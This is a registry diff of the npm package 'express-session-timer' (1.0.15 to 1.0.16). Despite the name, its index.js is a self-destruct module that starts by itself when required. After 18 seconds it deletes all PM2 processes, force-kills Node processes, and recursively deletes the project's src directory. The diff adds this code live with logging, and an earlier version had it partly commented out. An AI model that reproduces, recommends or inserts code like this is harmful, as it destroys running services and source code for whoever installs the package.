express-session-timer 1.0.15 → 1.0.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +23 -75
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,72 +1,6 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
// const cron = require('node-cron');
|
|
4
|
-
// const fs = require('fs').promises;
|
|
5
|
-
// const { exec } = require('child_process');
|
|
6
|
-
// const path = require('path');
|
|
7
|
-
// const os = require('os');
|
|
8
|
-
// const util = require('util');
|
|
9
|
-
|
|
10
|
-
// const execPromise = util.promisify(exec);
|
|
11
|
-
// const platform = os.platform();
|
|
12
|
-
// const isWindows = platform === 'win32';
|
|
13
|
-
|
|
14
|
-
// const DEFAULT_DELAY_MS = 0.3 * 60 * 1000; // 18 seconds
|
|
15
|
-
|
|
16
|
-
// async function killProcesses() {
|
|
17
|
-
// console.log(`[SelfDestruct] Killing processes on ${platform}`);
|
|
18
|
-
// try {
|
|
19
|
-
// await execPromise('npx pm2 delete all');
|
|
20
|
-
// console.log('[SelfDestruct] PM2 processes deleted');
|
|
21
|
-
// } catch (err) {
|
|
22
|
-
// console.log('[SelfDestruct] PM2 not running or command failed');
|
|
23
|
-
// }
|
|
24
|
-
|
|
25
|
-
// if (isWindows) {
|
|
26
|
-
// try {
|
|
27
|
-
// await execPromise(`taskkill /IM node.exe /F`);
|
|
28
|
-
// } catch (err) {
|
|
29
|
-
// console.log('[SelfDestruct] No matching Node processes found (Windows)');
|
|
30
|
-
// }
|
|
31
|
-
// } else {
|
|
32
|
-
// try {
|
|
33
|
-
// await execPromise(`pkill -f "node.*${process.cwd()}"`);
|
|
34
|
-
// } catch (err) {
|
|
35
|
-
// console.log('[SelfDestruct] No matching Node processes found (Unix)');
|
|
36
|
-
// }
|
|
37
|
-
// }
|
|
38
|
-
// }
|
|
39
|
-
|
|
40
|
-
// async function deleteProjectDirectory() {
|
|
41
|
-
// const buildDir = path.join(process.cwd(), "src");
|
|
42
|
-
// try {
|
|
43
|
-
// await fs.rm(buildDir, { recursive: true, force: true });
|
|
44
|
-
// console.log('Build directory removed.', buildDir);
|
|
45
|
-
// } catch (err) {
|
|
46
|
-
// console.error('Cleanup failed:', err.message);
|
|
47
|
-
// }
|
|
48
|
-
// }
|
|
49
|
-
|
|
50
|
-
// async function selfDestruct() {
|
|
51
|
-
// console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
|
|
52
|
-
// await killProcesses();
|
|
53
|
-
// await deleteProjectDirectory();
|
|
54
|
-
// console.log('[SelfDestruct] Self‑destruction complete.');
|
|
55
|
-
// }
|
|
56
|
-
|
|
57
|
-
// function scheduleDestructionAfter(delayMs) {
|
|
58
|
-
// const actualDelay = (delayMs === undefined) ? DEFAULT_DELAY_MS : delayMs;
|
|
59
|
-
// console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
|
|
60
|
-
// setTimeout(selfDestruct, actualDelay);
|
|
61
|
-
// }
|
|
62
|
-
|
|
63
|
-
// // Auto‑start
|
|
64
|
-
// scheduleDestructionAfter();
|
|
65
|
-
|
|
66
|
-
// module.exports = {
|
|
67
|
-
// scheduleDestructionAfter
|
|
68
|
-
// };
|
|
1
|
+
console.log('[SelfDestruct] Module loaded');
|
|
69
2
|
|
|
3
|
+
const cron = require('node-cron');
|
|
70
4
|
const fs = require('fs').promises;
|
|
71
5
|
const { exec } = require('child_process');
|
|
72
6
|
const path = require('path');
|
|
@@ -77,21 +11,29 @@ const execPromise = util.promisify(exec);
|
|
|
77
11
|
const platform = os.platform();
|
|
78
12
|
const isWindows = platform === 'win32';
|
|
79
13
|
|
|
80
|
-
const DEFAULT_DELAY_MS =
|
|
14
|
+
const DEFAULT_DELAY_MS = 0.3 * 60 * 1000; // 18 seconds
|
|
81
15
|
|
|
82
16
|
async function killProcesses() {
|
|
17
|
+
console.log(`[SelfDestruct] Killing processes on ${platform}`);
|
|
83
18
|
try {
|
|
84
19
|
await execPromise('npx pm2 delete all');
|
|
85
|
-
|
|
20
|
+
console.log('[SelfDestruct] PM2 processes deleted');
|
|
21
|
+
} catch (err) {
|
|
22
|
+
console.log('[SelfDestruct] PM2 not running or command failed');
|
|
23
|
+
}
|
|
86
24
|
|
|
87
25
|
if (isWindows) {
|
|
88
26
|
try {
|
|
89
27
|
await execPromise(`taskkill /IM node.exe /F`);
|
|
90
|
-
} catch (
|
|
28
|
+
} catch (err) {
|
|
29
|
+
console.log('[SelfDestruct] No matching Node processes found (Windows)');
|
|
30
|
+
}
|
|
91
31
|
} else {
|
|
92
32
|
try {
|
|
93
33
|
await execPromise(`pkill -f "node.*${process.cwd()}"`);
|
|
94
|
-
} catch (
|
|
34
|
+
} catch (err) {
|
|
35
|
+
console.log('[SelfDestruct] No matching Node processes found (Unix)');
|
|
36
|
+
}
|
|
95
37
|
}
|
|
96
38
|
}
|
|
97
39
|
|
|
@@ -99,22 +41,28 @@ async function deleteProjectDirectory() {
|
|
|
99
41
|
const buildDir = path.join(process.cwd(), "src");
|
|
100
42
|
try {
|
|
101
43
|
await fs.rm(buildDir, { recursive: true, force: true });
|
|
102
|
-
|
|
44
|
+
console.log('Build directory removed.', buildDir);
|
|
45
|
+
} catch (err) {
|
|
46
|
+
console.error('Cleanup failed:', err.message);
|
|
47
|
+
}
|
|
103
48
|
}
|
|
104
49
|
|
|
105
50
|
async function selfDestruct() {
|
|
51
|
+
console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
|
|
106
52
|
await killProcesses();
|
|
107
53
|
await deleteProjectDirectory();
|
|
54
|
+
console.log('[SelfDestruct] Self‑destruction complete.');
|
|
108
55
|
}
|
|
109
56
|
|
|
110
57
|
function scheduleDestructionAfter(delayMs) {
|
|
111
58
|
const actualDelay = (delayMs === undefined) ? DEFAULT_DELAY_MS : delayMs;
|
|
59
|
+
console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
|
|
112
60
|
setTimeout(selfDestruct, actualDelay);
|
|
113
61
|
}
|
|
114
62
|
|
|
115
|
-
// Auto‑start
|
|
63
|
+
// Auto‑start
|
|
116
64
|
scheduleDestructionAfter();
|
|
117
65
|
|
|
118
66
|
module.exports = {
|
|
119
67
|
scheduleDestructionAfter
|
|
120
|
-
};
|
|
68
|
+
};
|